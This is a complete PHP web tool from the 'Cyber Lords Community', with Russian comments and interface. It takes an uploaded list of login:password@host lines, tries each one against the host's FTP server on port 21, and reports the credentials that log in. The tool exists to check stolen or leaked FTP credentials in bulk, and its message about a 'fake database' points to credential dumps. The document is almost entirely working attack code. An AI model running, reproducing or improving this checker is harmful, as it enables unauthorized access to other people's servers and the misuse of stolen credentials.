Code
<?php
// Выставляем кодировку
header("Content-Type: text/html; charset=windows-1251");
// Выставляем правильное для скрипта отображение ошибок
ini_set("error_reporting", E_ALL & ~E_NOTICE);
// Проверяем сейф моде
if (ini_get("safe_mode")){
exit("<h1 style='font-size: 15px;'>Блин, скрипт не работает при SAFE_MODE = TRUE</h1>");
}
// Устанавливаем лимит выполнения по времени неограниченным
set_time_limit(0);
// Имя исполняемого файла
$script_name = str_replace("/", "", $_SERVER['SCRIPT_NAME']);
/****@****@****@****@****@****@****@****@****@****@****@****@****/
/****@ ВЫВОДИМ КАРТИНКИ ТРЕБУЕМЫЕ СКРИПТУ
/****@****@****@****@****@****@****@****@****@****@****@****@****/
if ($_GET['img'] != NULL){
header("Content-Type: image/gif");
// Картинка фона
$pics_array[0] = "R0lGODlhBFwwBFwwgFwwXDBYWFhGRkYh+QRcMFwwXDBcMFwwLFwwXDBcMFwwBFwwBFwwXDACBgQShqgJBVwwOw==";
// Картинка фона шапки
$pics_array[1] = "R0lGODlhBFwwblww91wwXDBcMH/UXDB1zFwwetBcMHzRXDCA1VwwcclcMGrEXDBjv1wwfdJcMF+8XDB0y1wwds1cMIDUXDBowlwwd85cMHLKM5XZXDBsxVwwZcBcMGG9XDBzy1wwcMhcMGjDXDBnwTOBy1wwbcZcMH/TXDBgvVwwbsdcMF+7M4nRXDBrxVwwY75cMGbBXDB70VwwXrwzg81cMGnDXDB5z1wwe9Azf8kzhc1cMGS/XDBvyFwwZ8JcMGPAXDBrxFwwZsBcMF67XDBsxjOa3TOS11wwbcczltozj9UzgMlcMG/HM43UM43TXDBwyVwwZcEzlNgzitIzmNszgcpcMH3TXDB+0jOCyzOT2DOFzjOR1jOQ1VwwetFcMGG+XDCB1DOK0TOU2VwwacQziNBcMHLJM4bOXDB6zzOAyjOR1zOX2zOL0lwweM8zfsl cMHzQM4TNXDBzyjOCzDOY3Fwwdc0zjtVcMGbCM4fPXDB2zDOW21wwgNNcMHnQM4jPXDB3zVwwZb9cMG7IXDB90TOJ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pZirlNdrGgfuwHOMvazeTUtaA8bWsxW9bGWhe1oG0vb2P/WdrYxQEUMqKpbVawCFatYBVdLgVlUqKIUqxBFcLm6W9TGoBSoIK4qjEvc6Cr2uTGYaymyG9zfUhW6vp2ucL2riuy69rLVla16b7te20J3FciNbnCBW13sGne+yIUuZn+bX/l+Nrjv3a18fwtg4OJ3u7oVLn31S1xc5VaXuPp9bnQfTGEGW3jCF4YwhjfcXVREIQrvTQWBRWzg34o4CqgQMYGDm4AOwzcVwE3Fe+cb3CgkgLiraDGLXbwKGIMYxi4mMY9XTOQSG3nIR6 YxjVORCh3nmMmpYFwwlFPc4xQz2clWNkWLRZxcMBHDGMpd5jKTR9zkVJiizFX2cphX3OQz57jfx0BWcpGRTGc5H/nKZtYymM0c5T1f+cxlNnOYA61lQA960AwwNJSlfOZDM1nPf8ZzpANNaUdLutJ+xrSZMZCKXDCkogN5TrQpDsCAXDCYXCJcMB0wdVwwEjDqVGDAFLDuXDCsD5CAA5w6AQHwdAds7epTuz oVB4gyrE3BXDBbB6DUBzi2p00BalNcJ9rWxQZ2qc0samIPu9rYvra2YZ1tbg871cmutalfnWsMqLrU4871sU8dXDBz5zrVuZ52u4396mSnGtjkNoW7lX1qcrfb1PpWt7mTbe5+C/zg5Ub4vxPO8IU7HAMBAVwwOw==";
exit(stripslashes(base64_decode($pics_array[$_GET['img']])));
}
/****@****@****@****@****@****@****@****@****@****@****@****@****/
/****@ СТРУКТУРА САМОГО СКРИПТА
/****@****@****@****@****@****@****@****@****@****@****@****@****/
if ($_POST['action'] != NULL){
if ($_FILES['check']['size'] == 0){
$errors[] = "<li>Нет файла для обработки</li>";
}
if ($errors == NULL){
$data = @file($_FILES['check']['tmp_name']);
if ($data == NULL){
$errors[] = "<li>Не могу прочитать загруженный файл</li>";
} else {
$all_num = count($data);
}
}
}
function CheckerRun($data){
$all = count($data);
for ($i = 0; $i < $all; $i++){
$data[$i] = str_replace("\n", "", $data[$i]);
$data[$i] = str_replace("\r", "", $data[$i]);
$percent = @round(($i+1) / ($all / 100));
if ($percent != $old_percent){
$old_percent = $percent;
echo "<script>s(" . $percent . ");</script>";
}
list($lp, $domain) = explode("@", $data[$i]);
list($login, $password) = explode(":", $lp);
$fp = @fsockopen(gethostbyname($domain), 21, $errno, $errstr, 4);
if ($fp){
$qwe = fread($fp, 1024);
fwrite($fp, "USER " . $login . "\r\n");
$qwe = fread($fp, 1024);
fwrite($fp, "PASS " . $password . "\r\n\r\n");
$qwe = fread($fp, 1024);
if (strstr($qwe, "group")){
echo "<script>l('" . $data[$i] . "'); </script>";
}
$ftps_ok = "1";
}
echo str_pad('',4096)."\n";
ob_flush();
flush();
}
if ($ftps_ok != "1"){
echo "<script>l('Блин, а база то левая, ниче не подходит! =(');</script>";
}
}
if (ob_get_level() == 0){
ob_start();
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>[Cyber Lords Community]</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<style>
BODY {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 11px;
color: #666666;
margin: 0px;
cursor: default;
background: #585858 url('./<?php echo $script_name; ?>?img=0');
}
TD {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 11px;
color: #666666;
}
INPUT {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 11px;
color: black;
height: 20px;
}
</style>
</head>
<body>
<center>
<table width="700" height="100%" cellspacing="0" cellpadding="0" border="0" bgcolor="#d3d3d3">
<tr>
<td height="110" background="./<?php echo $script_name; ?>?img=1"><a href="http://www.cyberlords.net/" target="_blank"><img src="./<?php echo $script_name; ?>?img=2" width="125" height="25" border="0" alt="Cyber Lords" style="margin-top: 2px;"></a></td>
</tr>
<tr>
<td>
<?php
if ($_POST['action'] == NULL){
?>
<form method="post" action="./<?php echo $script_name; ?>" enctype="multipart/form-data">
<input type="hidden" name="action" value="check">
<center>
<input type="file" name="check"> <input type="submit" value=" GO! ">
<br><br>
Текстовый файл содержащий данные к FTP (по одному в строку):<br><br>
login1:password1@hostname1.com<br>login2:password2@hostname2.com<br>login3:password3@hostname3.com
</center>
</form>
<?php
} elseif ($_POST['action'] != NULL AND $errors != NULL) {
?>
<center>
<b>Произошла слудующая ошибка:</b><br><br>
<?php echo implode("<br>", $errors); ?>
<br><br>
<a href="./<?php echo $script_name; ?>">« Назад</a>
</center>
<?php
} elseif ($_POST['action'] != NULL AND $errors == NULL) {
?>
<center>
<table width="400" border="0" cellspacing="0" cellpadding="2">
<tr><td width="30%" colspan="2">Рабочие FTP (из <?php echo $all_num; ?>):</td></tr>
<tr><td colspan="2"><div id="logs" style="width: 100%; height: 140px; border: 1px solid #7f9db9; padding: 3px; background-color: white; overflow: auto;"></div></td></tr>
<tr>
<td width="30%">Состояние работы:</td>
<td width="70%">
<table width="100%" border="1" cellpadding="0" cellspacing="0">
<tr>
<td bgcolor="#ffffff">
<table width="1" border="0" cellpadding="0" cellspacing="0" bgcolor="#5555cc" id="status" style="border-right: 1px solid #aaaaaa;">
<tr>
<td height=12></td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
<script>
function s(st){
document.getElementById('status').width = st ? st + '%' : '1';
}
function l(str){
with(document.getElementById('logs')){
innerHTML += innerHTML ? "<br>\n" + str : str;
scrollTop += 14;
}
}
</script>
</center>
<?php
$run = 1;
}
?>
</td>
</tr>
</table>
</center>
<?php
if ($run == 1){
ob_flush();
flush();
CheckerRun($data);
}
?>
</body>
</html>
<?php
ob_end_flush();
?>